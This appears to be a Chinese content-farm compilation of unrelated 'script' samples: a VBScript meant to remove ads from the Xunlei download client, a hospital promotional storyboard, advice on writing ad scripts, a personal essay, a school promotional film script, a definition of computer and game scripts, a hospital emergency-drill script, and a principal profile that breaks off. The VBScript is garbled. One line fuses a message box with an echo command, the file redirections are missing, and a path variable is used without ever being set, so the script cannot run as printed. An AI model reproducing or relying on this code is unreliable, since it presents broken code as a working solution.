广告脚本范文（集锦14篇）由网友“小麻仙儿”投稿提供，下面就是小编给大家带来的广告脚本范文，希望能帮助到大家!
篇1：迅雷如何去广告脚本
Option Explicit
set fso=wscript.createobject(“scripting.filesystemobject”)
set wshshell=wscript.createobject(“wscript.shell”)
Set ws = CreateObject(“Wscript.Shell”)
Set del = CreateObject(“Scripting.FileSystemObject”)
Dim ID, szBuf, URL, iDelay, fso, OverNum, fie, wshshell, ws, del
szBuf = InputBox( “请输入你的迅雷安装目录：”, “输入”, “D:\Thunder” )
URL = Trim(szBuf)
OverNum = “\Profiles\users\”
fie =“\vipsettings.ini”
If 0 = Len(URL) Then WScript.Quit
If 2 = MsgBox( “路径为：” tmp.ini“,0
ws.run ”cmd.exe /c echo THUNDER_MINISITE=0 tmp.ini“,0
ws.run ”cmd.exe /c echo SKIN_TYPE=1 tmp.ini“,0
ws.run ”cmd.exe /c echo SKIN_NAME=default tmp.ini“,0
ws.run ”cmd.exe /c echo FIRST_LOGIN=0 tmp.ini“,0
ws.run ”cmd.exe /c echo MAIN_AD=0 tmp.ini“,0
ws.run ”cmd.exe /c echo NEW_TASK_PANEL_AD=0 tmp.ini“,0
ws.run ”cmd.exe /c echo XUNLEI_TIP=0tmp.ini“,0
ws.run ”cmd.exe /c echo WELCOME_PANEL=0 tmp.ini“,0
ws.run ”cmd.exe /c echo VIP_CFG_SYNCHRO=0 tmp.ini“,0
wscript.sleep
ws.run ”cmd.exe /c attrib tmp.ini +R“,0
wscript.sleep 2000
fso.copyfile ”tmp.ini“,iDelay
wscript.sleep 2000
ws.run ”cmd.exe /c attrib iDelay +R“,0
msgbox(”恭喜你迅雷广告已经去除！！！“)
del.DeleteFile ”tmp.ini“, True
Set del = Nothing
篇2：医院广告宣传片分镜头脚本文案
医院广告宣传片分镜头脚本文案
片名：传承中医药文化汇通中西医精华
时长：约11分钟
摄制：巅峰动力
“天地会昌之国，英灵秀出之乡。“地处成都西北19公里，是著名的中医药之乡，历代名医辈出，清代名医唐溶川，现代名中医苟意湘、许宗民、桑琢斋等人以高尚的医德和精湛的医术在市家喻户晓。
画面：“天地会昌之国，英灵秀出之乡“水墨动画标志性建筑古代名医介绍
时间：25秒
历经半个多世纪的岁月沧桑，市中医医院从1952年成立之初的联合诊所，一跃发展成为全国首批示范中医医院、四川省首家二级甲等中医医院而享誉四方。医院位于市天彭镇南大街396号，占地面积13648，作为“5.12大地震“的灾后重建单位，医院在上级领导和卫生行政主管部门的关心支持下获得了中央灾后重建资金，建设“灾后重建住院综合大楼“。大楼建筑面积约9991平方米，设计床位236张，于12月31日竣工投入使用，大大拓展了医院的医疗服务能力，医院业务用房总面积达到25312.31平方米。
医院现有在职职工496人，其中高级职称28人，中级职称105人，博士研究生2人，硕士研究生21人，实际开放床位400余张。医院先后涌现出了周邦培（成都市名中医）、刘六勋（名中医学术经验师承工作指导老师）、陈晓（成都市中青年学术技术带头人）、余加义（成都市名中医）等多位目前仍在医院为病员服务的当代名老中医。
画面：中医医院早期外景“医院位于市天彭镇南大街396号，占地面积13648，医疗业务用房25312.31，医院现有在职职工496人，其中高级职称28人，中级职称105人，博士研究生2人，硕士研究生21人，实际开放床位400余张“等基本字幕信息名医诊断画面
时间：60秒
医院长期以来坚持发挥传统中医药在疾病预防和治疗中的优势，为广大群众解除疾苦，同时也大力弘扬中医药文化，宣传中医药文化知识，为中医药发展营造良好的环境。6月16日，正值传统端午佳节，在市委、市政府的大力支持下，由市卫生局主办、医院承办的“弘扬中医药文化宣传日“活动在市中心广场隆重举行。国家中医药管理局医政司副司长杨龙会、四川省中医药管理局副局长冯兴奎、成都市卫生局副巡视员温蓉利、成都市卫生局中医处处长卢洪岩等领导应邀到会。市人大副主任方虹，副市长刘蓉，市政协副主席高跃等领导出席了活动。我市中药材种植相关镇负责人和中医药企事业单位代表共1000多人参加了“中医药文化宣传日“活动的开幕式。在活动现场表演了体现中医药文化和地域文化的文艺节目，名中医在现场为320多名群众进行义诊和提供健康咨询服务，我院的医务人员为1100多名群众开展传统端午节“烧艾火“、拔罐等中医适宜技术的展示，活动取得了圆满成功，进一步浓厚了市的中医药文化氛围。
画面：6月16日，“弘扬中医药文化宣传日“；相关领导中景及同期字幕群众现场互动活动场景（资料提供）
时间：90秒
医院坚持发挥中医药特色优势为发现方向，吸收和引进现代医学发展成果，不但中医特色浓厚优势明显，现代医学的应用也在本地区处于领先水平。
医院拥有与四川大学遗传研究所协作成立的四川省同级医院唯一的pcr分子生物实验室，在分子生物检测技术（dna检测）方面填补了地区的空白。
画面：医院领导会议特色中医和现代医学代表设备pcr分子生物实验室及操作特写局部。
时间：30秒
医院第一个同沿海三级甲等医院厦门市中医院联合成立了“厦门－联合腔镜治疗中心“，配备了德国最先进的腹腔镜、前列腺汽化仪、纤维胆道镜、高频电刀、子宫旋切器械等一整套腹腔镜手术系统，开展的微创手术在本地区微创外科领域处于领先水平。引进的钬激光设备治疗拓展了中心的微创外科手术范围，为泌尿系统结石等疾病提供了无创无痛的治疗手段。
画面：“厦门－联合腔镜治疗中心“挂牌“腹腔镜、前列腺汽化仪、纤维胆道镜、高频电刀、子宫旋切器械“等先进设备画面钬激光设备治疗的临床使用特写局部。
时间：40秒
以中西医结合为特色的享誉金彭的骨伤科，是地区最早的省级重点专科，结束了市无省级重点专科的历史。
画面：骨伤科科室治疗情况（带病员）特写局部。
血液透析治疗室是目前地区成立最早、规模最大、设备最好、技术最好的肾病科血液透析治疗中心，已有十多年历史。
画面：展现血液透析治疗室的面积、设备、人才的优势（带病员）。
肿瘤科是地区唯一的肿瘤专业病区，拥有成都地区县级医院唯一的高能超声聚焦刀，开展肿瘤无创绿色治疗，填补了空白。
画面：肿瘤科代表工作场景（带病员）特写局部。
康复科是地区第一个开展中医康复治疗的特色科室，是市最大的中医康复特色专科，在成都市范围内也处于领先水平。
画面：康复科代表工作场景
核医学科是目前地区唯一的放射性治疗临床科室，主要利用同位素（i131）治疗甲亢等内分泌疾病。
画面：核医学科代表工作场景（带病员）特写局部
时间：40秒
在市委市政府的关心下，在市卫生局的领导下，在社会各界的支持下，经过几代中医人的不懈努力，医院已经成为设备设施先进，科室设置齐全，中医特色明显，综合实力较强的现代化中医医疗机构。
画面：领导关怀社会支持医院历届领导（照片资料）“19个临床科室、45个专业组“字幕包装医院现任领导班子
时间：15秒
医院加入120急救网络，以此为契机，进一步强化了医院急诊急救能力，建立了“急危重症、创伤、中毒“绿色通道，配备了大量地区最先进的尖端医疗和检验设备，如德国西门子16排螺旋ct，美国通用电气dr，德国西门子实时三维彩色超声波检查仪，日本东芝全自动生化仪，动态心电图监测仪，大型c臂数字化多功能光机等。
画面：120车辆及救护监护室抢救德国西门子16排螺旋ct，美国通用电气dr，德国西门子实时三维彩色超声波检查仪，日本东芝全自动生化仪，动态心电图监测仪，大型c臂数字化多功能光机
时间：35秒
重症医学科作为集中监护和救治重症患者的专业科室，是医院急危重症救治能力的标志。在新住院大楼二楼，医院严格按照重症医学科建设标准设立了重症医学科病区。病区总体布局规范、结构合理、功能完善、设备先进，配置了重症监护病床10张。配备了宜安呼吸机、drger呼吸机、无创呼吸机、病人可移动监护仪、心电监护仪、亚低温治疗仪、震振排痰仪等先进的医疗设备，开展中心静脉穿刺、气管插管、无创及有创机械通气、连续中心静脉测压、亚低温治疗、胃肠内外营养支持等治疗。对于慢性阻塞性肺病急性加重期、多发性外伤致创伤休克、ards、肺水肿、围术期患者的呼吸功能管理、急性消化道出血、重症急性胰腺炎、重型颅脑损伤、术后或自发性脑出血非手术者、呼吸循环支持、严重感染或各种原因引起的休克等急危重症患者具有较强的救治能力。
内科一病区是中西医融合的综合性科室，已经建成心脑血管、呼吸内科等专业组，心脑血管专科是成都市重点中医专科。科室收治冠心病、高血压、肺心病、心衰、心律失常、心肌病、支气管扩张、呼吸衰弱、胸膜炎、支气管哮喘等疾病的患者，在中医药治疗胸痹、眩晕、心衰、肺胀、心悸等疾病方面具有丰富的经验。
画面：内科一病区诊断代表工作场景（带病员）
内科二病区（肿瘤科）在中西医融合治疗肿瘤方面开展了很多独特的治疗模式，是成都市重点中医专科。科室运用传统国际先进水平的高能聚焦超声刀这一现代无痛无创治疗手段，逐步引进热疗、放射粒子治疗、射频消融治疗，立体定向精确放射治疗和三维适形放射治疗等先进的肿瘤治疗手段，结合中医药特色疗法，开展各种肿瘤和血液系统疾病的治疗，填补了市在肿瘤治疗方面的空白，该科正在向建设“市现代肿瘤综合治疗中心“的发展方向努力奋斗。
画面：内科二病区诊断代表工作场景（带病员）特写局部
内科三病区拥有成都市重点中医专科“中风病科“和糖尿病、肾病、核医学（甲亢）等专业组，开展各种内分泌疾病的中西医融合治疗。肾病组依托血液透析治疗室13台国际先进的德国费森尤斯4008b血透机、2台费森尤斯4008s血滤机，救治各种原因所致肾衰、药物中毒患者，每年救治患者7000多例次。核医学（甲亢）借助四川大学华西医院核医学科的技术力量开展放射性碘治疗甲亢，已治疗甲亢患者近三千人次，一次性治愈率达到90％以上。糖尿病组运用中西医结合疗法，有效控制糖尿病患者的并发症，提高糖尿病患者的生活质量。
画面：内三科诊断代表工作场景（带病员）“肾病组依托血液透析治疗室13台国际先进的德国费森尤斯4008b血透机、2台费森尤斯4008s血滤机，“等设备规模核医学实践治疗糖尿病治疗及康复镜头特写局部
内科四病区是成都市重点中医专科“脾胃病科“，主要开展消化系统疾病（中医脾胃病）的诊断和治疗。科室运用现代医疗设备，结合中药灌肠（肠道水疗）、中药硬膏热帖敷治疗、灸法、穴位敷贴、穴位埋线、穴位注射、循经闪罐等特色疗法治疗消化系统疾病。对于急性胰腺炎、肝硬化、上消化道出血、急慢性胃炎、消化道溃疡及并发症、胃食道反流病、功能性消化不良、功能性便秘、炎症性肠病、肠易激综合症等疾病具有较高的诊断及治疗技术水平。
时间：60秒
外科一病区主要开展普外科（肝、胆、胃肠）、泌尿外科、乳腺外科、烧伤、甲状腺等疾病的治疗。除开展常规外科手术以外，近年通过灾后对口援建，成立了唯一的“厦门－联合腔镜治疗中心“，开展腹腔镜下微创外科手术，具有创伤小、恢复快、疼痛小、疤痕小等优点，结束了只有三级医院才能开展腹腔镜和胆道镜两镜联合手术能力的历史。医院引进目前最先进的'钬激光治疗设备用于治疗泌尿系统结石，治疗手段先进，复发率极低，安全可靠、快捷无创的钬激光治疗解除了泌尿系统结石的痛苦。
泌尿外科能开展经尿道前列腺汽化电切手术，肾、输尿管、膀胱的结石及肿瘤等手术。普通外科开展了甲状腺、乳腺、肝胆、胃肠等各种疾病及肿瘤手术。烧伤外科利用中西医融合治疗烧烫伤特有的优势，开展了各种烧伤植皮手术，对于各种烧伤病人的治疗处于我市先进水平，已成功治愈烧伤病人近千例。
外科二病区主要开展胸外科、神经外科、肛肠痔瘘科、创伤急救外科、血管外科等疾病的治疗。胸外科能收治各种胸部外伤、肋骨骨折、血气胸、肺挫裂伤、周围型肺癌、心包填塞、心包积液、食道癌、膈疝、膈肌损伤病人。神经外科现已成功开展各种头皮肿瘤、颅骨肿瘤、头皮挫伤、脑震荡、脑挫裂伤、硬膜外硬膜下血肿、脑内血肿、脑膜瘤、脑胶质瘤、脑室积液、慢性硬膜下积液、颅骨骨折、高血压脑出血的外科手术治疗。肛肠科在中西医结合治疗肛肠痔瘘疾病方面具有丰富的经验。
骨伤科作为1995省中医药管理局首批确定的重点专科，以全程中西医结合为特色，运用各种传统疗法配合各类现代手术治疗，能成功开展各种骨科大型手术，颈、腰椎间盘切除术和臭氧髓核消融术。科室运用中医特色治疗急性软组织损伤和膝关节关节炎，小针刀治疗劳损性腰痛，推拿疗法治疗颈椎病。开展骨与关节损伤的中西医结合微创，人工关节置换，颈、胸、腰椎前后路减压内固定术。
画面：骨伤科诊断代表工作场景（带病员）特写局部
康复科是成都市重点中医专科，是市中医药适宜技术推广培训基地。科室运用传统中医特色的康复疗法与现代康复技术相结合，治疗各种类型的软组织损伤、颈腰椎疾病和各种痛证，擅长于脑血管意外和脑外伤的恢复治疗，临床疗效确切，深受患者欢迎。在，康复科创新性地开展了三伏灸、三九灸等中医药外治治疗项目，把传统中医药技术的运用范围从“病后康复“扩展到“未病先防“，为中医“治未病“项目的发展进行了有益探索。康复科致力于中医药适宜技术的推广应用，由我院承担的“市基层常见病多发病中医药适宜技术推广培训“成效卓著，在7月成都市卫生局在我市召开中医适宜技术推广现场会，与会领导和专家对我院积极发挥中医优势特色推广中医适宜技术给予了高度评价。
画面：康复科诊断代表工作场景（带病员）三伏灸、三九灸的应用“市基层常见病多发病中医药适宜技术推广培训“照片（提供若干）特写局部
时间：80秒
妇科用中医妇科和微创手术技术治疗各种妇科疾病，是全市唯一的中西医融合妇科，在发挥中医特色优势的同时，将现代科技运用于妇科疾病的治疗。科室拥有雄厚的技术力量，开展了妇科手术、计划生育手术以及各种微创腹腔镜手术。
画面：妇科诊断代表工作场景（带病员）
眼科和耳鼻喉科运用中西医结合疗法治疗各种眼科、耳鼻咽喉科疾病，其中眼科早在1994年就率先在开展了第一例人工晶体植入术，耳鼻喉科能运用内窥镜开展各种耳鼻喉科疾病的治疗。
画面：五官科诊断代表工作场景（带病员）特写局部
时间：30秒
医院还有功能完善的“治未病中心（健康体检、亚健康治疗）“，以先进的设备和技术、智能化信息管理、中西医融合的健康理念为各类人群开展个性化的体质辨识、健康咨询，提供一流的“一站式“服务。
画面：治未病中心诊断代表工作场景（带病员）特写局部
医院秉承“以人为本，一切以病人为中心“的服务理念，努力建设技术高超、服务周到、群众满意的医院，为患者提供优质的医疗卫生服务。医院不断优化服务流程、简化工作程序、提高服务质量、加强基础设施建设，加强环境整治，为患者提供舒适的就医环境，方便患者就医。
画面：大厅接待礼仪护送病员电梯、停车场等公共设施齐全
时间：30秒
面对新的时代，新的要求，市中医医院坚持“厚德精术、仁爱济世、务实创新“的院训，正向“弘扬传统中医，发展现代医学，建设管理体系科学、硬件设施先进、技术水平一流、服务功能完备的现代化综合性三级中医医院“的发展目标迈进。
画面：各个设备特写的蒙太奇融合
时间：30秒
展望未来，前程似锦。在不远的将来，一所立足，面向天府的技术服务一流、中西医并重的现代化中医医院屹立！、
她就是全新的市中医医院！
画面：医院外景旭日东升出字“市中医医院“闪光
时间：xx秒
二〇xx年七月二十五日
篇3：广告脚本创意的五大标准
广告能够发挥营销传播作用，除了营销传播渠道之外，最为重要就是广告脚本的创意，北京立钧世纪营销策划机构认为，广告脚本作为营销传播的用途，无论创意多么天马行空，其根本都不能脱离创造力和吸引眼球，随着80后90后00后新生代消费群的迅速崛起，面对新生代消费群的营销传播的广告脚本创意，将更加具有时代性和现代性，它要求创意者必须遵循如下五大标准。
标准一：好的广告脚本是创造内容而不是呐喊口号。
内容营销越来越不可或缺，广告就是其中一项最为重要的内容。过去，我们会看到很多通过口号的魅力来实现营销传播的目标，也有一些成功的广告脚本主要是通过强烈而有针对性的文案表达来实现广告目的。然而，随着市场营销进入到营销革命3.0时代，广告脚本创意风格和模式也已发生了根本性的变化，它要求广告能够适应新生代消费群的欣赏品味和沟通体验。
这里边，任立军指出，营销革命3.0时代，广告脚本创意的核心是通过短暂的时间创造出抓住消费者心理的内容，这个内容，可以是一个故事，可以是一段情感表达，它要求用最短的时间把故事推向高潮、把情感推到极致。这就要求，广告脚本创意者在阐述故事和情感表达时精炼且“笔不留尘”。
标准二：好的广告脚本创意要注重节奏感。
广告片是通过短暂的内容表达而呈现出来的艺术性精品。实践当中，品牌策划专家任立军指出，广告脚本的创意类似于歌曲的创作一样，它需要创作者利用极短的篇幅完成一个系统性的艺术内容，尤其是二者之间的段落和节奏感更是极为相似。有些广告脚本创意平淡简单，只能通过大量的营销传播，才能够达到预期营销传播效果。现在，精彩的广告脚本创意过程中，广告策划专家往往会把短暂的时间分成至少两个段落，并将整个广告片形成极具创意的节奏感，这就使得广告更具欣赏性，并能够与消费者产生足够的互动，
通常，专业的广告策划专家会在广告脚本创作过程中，自然而然地依据广告内容主题联想到相应的广告节奏，这时候，他需要试听大量的具有代表性节奏感的音乐，以此而寻找符合广告脚本内容的节奏和音乐表达形式。这样拍摄出来的广告片才能更具艺术性和节奏感。
标准三：好的广告脚本创意元素与品牌元素保持理念一致。
广告脚本的创意元素要具有鲜明的特征，这需要广告脚本创作者拥有大量的广告素材的积累。所谓的广告素材，是指那些能够应用于广告创意的素材，它之所以能够称为素材，是指它能够通过广告策划者将这些素材转化为广告语言表现在广告脚本创意当中。对于一个广告策划专家来说，他的头脑里需要积累大量的广告素材和创意元素，很多聪明的广告人会收集收看大量的能够应用于广告创意的素材和元素，以便能够在广告创意过程中，迅速地调取出来，有效地应用。
在广告脚本创作实践当中，广告脚本创意元素要与品牌元素保持理念上的一致。这样，才能够使品牌理念得以通过广告传播达到品牌传播的目的。
标准四：好的广告脚本创意要抓住产品卖点。
广告片的创作不同于电影电视剧，它本身具有商业营销性质，因此，在广告脚本创意时，一定要抓住产品卖点。无论创意多么天马行空，都要围绕着产品卖点而服务。在写作广告脚本之前，一定吃透产品身上的所有信息，理清哪些特征能作为产品卖点，吸引消费者购买。一旦确定了卖点，在写作广告脚本时就要不遗余力的钉住这些重要的点进行阐述表达发挥，就像挂在墙上的画，需要若干个图钉来固定。产品要在脚本中立起来，就需要这些卖点的有力支撑。所以，咬死卖点是广告脚本写作的核心与关键。
其实，营销实践当中，越来越多的广告策划专家把注意力集中于产品买点，从消费者的角度来做创意，增加消费者购买产品的买点，这比过去单纯突出产品卖点的强硬传播方式更加有效。
篇4：脚本
不能轻易进入对方的世界，对方也不能轻易找到的通道。
这就是我的友情。
寡淡而过渡。
我是很小心眼的。为了一点和自己过意不去的小事情就生气，却在下一秒就原谅了对方。如果实在太纠结，那也只可能是因为某个问题自己暂时还没有想通而已。比如为什么要插列；为什么这么势利；为什么爱跟我学等等。
习惯给喜欢的东西取一个亲切的名字，或以特殊的称谓进行交流。
比如：小西=罗茜、魔拉=一块大草坪、大妞=黄可磊、人气小天后=琴姐……
男么么、女么么、z、春天、招牌动作、雕牌透明皂、西西、胖大海、阿长、阿短、打波e、蛋挞、……还有至今未想好名字的胡同学。
当然还包括白菜的那一帮帮菜头儿们。
我的友谊网像一个大筛子，遇到的很多，最终没被过滤掉的很少。
我不知道是不是我太过敏感、太过愚钝，还是没人能把握好我脾气变化的周期。总之、我不适合有太多朋友。
经过初中冗杂的小女生的生活，那些种种：力力、钟瑷琳、琴姐、papa、yo姐……不管怎样笼统地分出好人坏人，都渐渐让我看清，没有真正的友谊。像在钟瑷琳的事发生以后我在日记中写道：“朋友只是由于暂时地拥有共同的利益而上了同一条船。而那些断然认为的知己，只是因为他们的利益比较纯粹罢了。”
篇5：电视片脚本
电视专题片脚本
巍巍佛顶山，云蒸霞蔚气象万千；滔滔龙底江，碧波荡漾风景秀丽。
中国温泉之乡、中国苔茶之乡、红二六军团两次经过并浴血奋战的革命老区--石阡，美丽的石阡民族中学坐落在美丽的龙底江畔。
这是一所有深厚历史底蕴的学校。起源于1951年简陋的教师速成训练班，60年沧桑巨变，从小学到七年制、八年制带帽初中，到完全中学，到独立高中，七易校名，七度改制，经历了初等教育和中等教育的几乎所有办学体制。
这，又是一所年轻而有朝气的学校。走进民族中学的行列仅仅18个年头，就获得国家、省、地、县各级各类奖励、表彰四百多项，先后被命名为全国群众体育先进单位，全国贯彻《学校体育》优秀学校，全国德育科研先进实验学校，全国作文教学先进单位，“创新写作教学研究与实验”实验学校，贵州省高中综合实践课试点学校，贵州省青少年业余训练先进单位，贵州省民族团结进步先进单位，贵州省红旗团委创建单位，铜仁地区体育传统项目学校，铜仁地区示范性普通高中。
石阡民族中学，有在校学生3300余人，开设53个教学班。229名教职工中，有专任教师191人，其中高级教师56人，中学一级教师86人，省地县骨干教师21人，受省部级表彰教师3人，县管专家1人。
为扩大规模，提升品位，抢占教育现代化制高点，办人民满意的教育，县委、县人民政府规划投入资金1.2亿元，组织实施民族中学搬迁。8月，搬迁工程破土动工，3月一期工程基本完成，两年就实现了整体搬迁。新校区占地面积106193平方米，建筑面积43090平方米，绿化面积47600平方米，有全地区唯一的400米塑胶运动场。校园布局合理，功能齐全，环境优美。
在“以质量促发展，以特色创品牌”的办学理念下，石阡民族中学确立了“弘扬民族民间文化，发展学生个性特长”的办学目标，提炼出“明德修身，知行合一”的校训。教师“严谨治学、因材施教”，学生“博学深思，励志笃行”，整个校园洋溢着“团结勤奋、求实创新”的精神风貌。
以质量促发展，是石阡民族中学的立校之本。
、、连续3年全县高考理科状元都出自石阡民族中学。，石阡民族中学高考取得重大突破，211工程院校录取63人，本科院校共计录取359人，升学率达93.07%。教育教学质量年年上升，《铜仁日报》曾以《三类生源，一流质量》为题，探求石阡民族中学是怎样火起来的'。
以特色创品牌，是石阡民族中学的强校之因。
建校之初，民中人提出创办特色学校，以“学校有特色、教师有特点、学生有特长”为办学目标，掀起了为期八年的创业高峰，走在全省前列，率先实现了县级农村中学教育技术现代化和信息技术普及化，为学校改革和发展奠定了坚实的物质基础。
高中扩招以后，学校以抓好文化素质为前提，以特色班、校运会、艺术节等为主要载体，重点抓好体育、音乐、美术特长生的培养。学校组织了篮球队、田径队、舞蹈队、军乐队、合唱团、木偶戏艺术团等，长期坚持训练，对学生进行多方面的素质培养。其中，尤其以体育为重，体教结合双管齐下，体育强校重点突破，将特色办学引向深入，各项工作发生了质的飞跃，呈现出体育工作中心开花，教育教学全面结果的大好局面。，石阡民族中学获两项国家级体育工作表彰，贵州电视台《今日视点》也专题介绍石阡民中“体教结合，体育强校”的特色办学;《铜仁日报》推出《特色鲜明的民族教育之花--石阡民族中学“三特”办学纪实》。
经过多年的探索和实践，石阡民族中学的民族文化进校园已形成体系。学校把传承民族民间文化和课堂教学结合起来，拓展教学理念，激发学生兴趣，发现学生特长，培养学生对本民族文化的认同，开展“民族民间文化进校园、民间体育进课堂”课题研究，把踩高跷、踢毽子、斗鸡等民间体育纳入校运会比赛项目，使民间体育有了很好的传承。
作为铜仁地区体育传统项目学校，石阡民族中学对开展阳光体育、增强师生体质十分重视。以来，学校田径队代表石阡参加地区“三好杯”田径运动会，实现四连冠，多次代表地区参加省级以上赛事，取得了建国以来铜仁地区最好成绩，培养出14名国家二级运动员。
如果说，民族民间体育进校园是人有我优，那么，木偶戏进校园则是人无我有的创举。初，国家第一批非物质文化遗产名录公布，石阡毛龙和木偶戏双双入选。石阡民族中学迅速将木偶戏传人请进校园，对木偶戏开展抢救、保护和传承工作。
六年来，在千年古寨楼上民族文化村、尧上仡佬族敬雀节、重走长征路火把传递、温泉文化旅游节和苔茶文化旅游节上，石阡民族中学木偶戏艺术团都作了精彩表演，得到百余名中外记者的关注和采访。《贵州日报》《铜仁日报》《贵州都市报》记者曾经担忧，濒临失传的石阡木偶戏――这份宝贵的国家非物质文化遗产到底传给谁？现在，石阡民族中学已经给出了让人放心的答案。
传承民族文化，弘扬民族精神，民族民间体育进校园和木偶戏进校园，构成了石阡民族中学特色办学的两大亮点。
办民族特色教育，成就昨日的辉煌；创地级省级示范，展现独特的魅力。两年完成整体搬迁，石阡民族中学发展神速；一年成为地级示范高中，石阡民族中学潜力巨大。
长风破浪会有时，直挂云帆济沧海。今天，作为石阡教育的一颗明珠，作为石阡形象的一张名片，石阡民族中学正以饱满的热情，昂扬的斗志，坚定的信念，向省级示范性普通高中迈进。
篇6：什么是脚本
脚本是批处理文件的延伸，是一种纯文本保存的程序，一般来说的计算机脚本程序是确定的一系列控制计算机进行运算操作动作的组合，在其中可以实现一定的逻辑分支等，脚本程序相对一般程序开发来说比较接近自然语言，可以不经编译而是解释执行，利于快速开发或一些轻量的控制。现在的脚本语言是比较多的，一般的脚本语言的执行只同具体的解释执行器有关，所以只要系统上有相应语言的解释程序就可以做到跨平台，
脚本(Script)，就是含有bind和alias等命令的集合，你可以把这个集合存为一个独立的文件然后在需要的时候执行，这样就可以方便你在CS中的使用。脚本可以存为后缀名为.cfg的文件放在cstrike文件夹下，执行时在控制台输入：exec（脚本文件名）.cfg即可。比如将一个脚本存为buys.cfg文件，则在控制台中输入：execbuys.cfg则可以实现我们所需要的功能。要实现一个命令只要把这一过程定义(alias)好，并且分配一个键位给这个命令，以后只要按分配好的键位，就可以实现这一过程。所有的脚本都是通过这一方法实现的。
篇7：应急演练脚本
应急演练脚本
武城县重大交通事故应急医疗救
援演练活动情景脚本
一、演练启动仪式
（一）8:30-9:00，参加演练人员及车辆集中列队
场景：
全体参加演练人员在急诊科门前列队，医护人员顺序自北向南3列12人；救护车1-4号车头向北依次排列。伤病员演员不列队，直接到指定位置就位。
（二）9:00分，主持人任玉方副院长介绍参加演练活动的各位
领导等
主持人：今天，武城县人民医院在这里举办以医疗救援为主的重大突发公共事件紧急医疗救援演练活动。出席本次活动的领导有：
县卫生局副局长 吕新哲同志、县卫生局副局长 应急办主任 周凤柱同志、县人民医院院长 党委书记 范承岗同志
下面，进入演练程序。
场景：
1、现场指挥张国柱同志向参加演练的人员发出指令：请大家各就各位、做好准备，开始演练。
2、参演人员和车辆疏散，到待命点准备。
视频内容：
突发公共事件发生的场景和救援场面，PPT播放（四个种类的突发公共卫生事件） 是指突然发生，造成或者可能造成重大人员伤亡、财产损失、生态环境破坏和严重社会危害，危及公共安全的`紧急事件。根据社会危害程序、影响范围等因素，可分为特别重大、重大、较大和一般四级。突发事件的构成要素：突然爆发、难以预料、必然原因、严重后果、需紧急处理。 突发公共事件主要分为以下四类：自然灾害。主要包括水旱灾害，气象灾害，地震灾害，地质灾害，海洋灾害，生物灾害和森林草原火灾等。事故灾难。主要包括工矿商贸等
企业的各类安全事故，交通运输事故，公共设施和设备事故，环境污染和生态破坏事件等。 公共卫生事件。主要包括传染病疫情，群体性不明原因疾病，食品安全和职业危害，动物疫情，以及其他严重影响公众健康和生命安全的事件。社会安全事件。主要包括恐怖袭击事件，经济安全事件和涉外突发事件等。
参加此次演练的有急救中心12名工作人员，急救车4辆，医疗救援物资保障车1辆。本次演练是我县医疗卫生系统响应市卫生局卫生应急大练兵大比武活动的一项重要内容。
演练马上就要开始了??
二、事故发生和救援
1
（一）9:10分，120急救中心接警并调度救援力量
场景：
120急救中心接警，接警员接到市调度中心电话，简要了解伤员数量和情况后，立即派出值班救护车赶往现场，之后立即上报医院公共卫生科。
视频内容：
120急救中心接警画面。
救护车及医护人员出动。
三、现场救援
（一）9:20分，第一批救援人员到达。
场景：
1号救护车进入。
医务人员检伤分类。
视频内容：
医务人员对伤员进行检伤分类的画面。
解说词：
第一辆救护车到现场后，医务人员立即对受伤人员进行检伤分类。主要评估伤员的项目有：能否行走、呼吸、循环、意识四个方面。区分重伤员第一优先救治，中度伤员第二优先救治，轻伤员延期处理，无救治希望的放到最后处理。
经过现场检伤表明，本次事故共造成45人受伤，其中2人当场死亡，5人重伤。 向医院公共卫生科汇报事故情况，要求启动武城县公共事件医疗救援应急预案。
场景：
现场急救指挥向县卫生局应急办报告事故情况。“德商路发生重大交通事故，初步掌握的情况是共有45人受伤，其中5人重伤，2人死亡。请求启动武城县公共事件医疗救援应急预案。因伤员较多，请求增派救护车参加救援”。现场指挥：“是”。
视频内容：
现场指挥打电话特写镜头。
应急医疗救援装备车出动，到达现场后设置救治区域画面。
解说词：
现场急救指挥向卫生局应急办报告事故情况后，领导决定立即启动突发公共事件医疗救援应急预案。
随着一声令下，全县各急救医疗机构的救护人员陆续赶赴现场，县人民医院开始通知急救绿色通道做好接收和抢救危重伤员的准备（包括床位安排、专家准备和手术室准备）；
各救护车陆续到位展开救援。
2
场景一：
2号救护车到达现场，医护人员对一名头面部外伤、呼吸微弱、继而呼吸、心跳停止的伤员进行抢救。
解说词：
医护人员对一名头面部外伤、呼吸微弱的伤员实施抢救：
医护人员对伤员进行开放气道、吸氧，对头顶部活动性出血部位进行包扎止血，建立静脉通道。
患者突然意识丧失，呼吸停止，颈动脉搏动消失，医护人员立即对其进行心肺复苏。 医生给予胸外心脏按压，按压频率120次/分钟。
护士开放气道后用简易呼吸器进行人工通气，按压与通气比30:2；
进行了5组复苏后医生与护士互换角色，再进行5个循环的心肺复苏。
经抢救后，患者恢复了心律、呼吸，但意识仍未恢复。
场景二：
医护人员对一名胸部开放性损伤、呼吸困难的伤员进行救治。
医护人员立即用大块的无菌棉垫覆盖超过伤口边缘范围5厘米进行封闭，将开放性伤口变为闭合性伤口。
医护人员检查患者气道通畅并给予高流量吸氧，同时监测生命体征，开通静脉通道。 场景三：
现场救治完毕，救护车顺序转运伤员。
视频内容：
伤员上救护车、车内实景。
解说词：
现场救援结束后，所有救护车及医务人员离开了事故现场，场地上不遗留任何伤员。 经过医护人员的现场抢救处理，所有伤员全部转运离开现场，已分别转送至县人民医院做进一步治疗。
四、参演人员集中
场景：
救护车及医务人员集中。
现场指挥向参演人员下令：“伤员已经转运完毕，全体参演人员集中”。
全体参演人员列队。
解说词：
随着经济的快速发展，突发公共事件的与日俱增，面对灾难事故的挑战，我们白衣战士总是召之即来、来之能战、战之能胜，今天，我们以实际行动向灾难事故进行了针锋相对的宣战。我们全体救护人员有信心、有决心战胜一切灾害，履行我们的光荣职责！
3
篇8：校长电视片脚本
校长电视专题片脚本
人们常说：一个好校长就是一所好学校。南城县第一小学校长曹华庚就是这样一位有都着务实的工作作风、先进的教育理念和强烈的公仆精神的好校长。他以自己独特治校方略和管理方式，短短三年来，将一所基础差、底子薄的城区新学校办出特色，被人们称为“三牛”校长。
“拓荒牛”的锐气 打造“绿色”学校
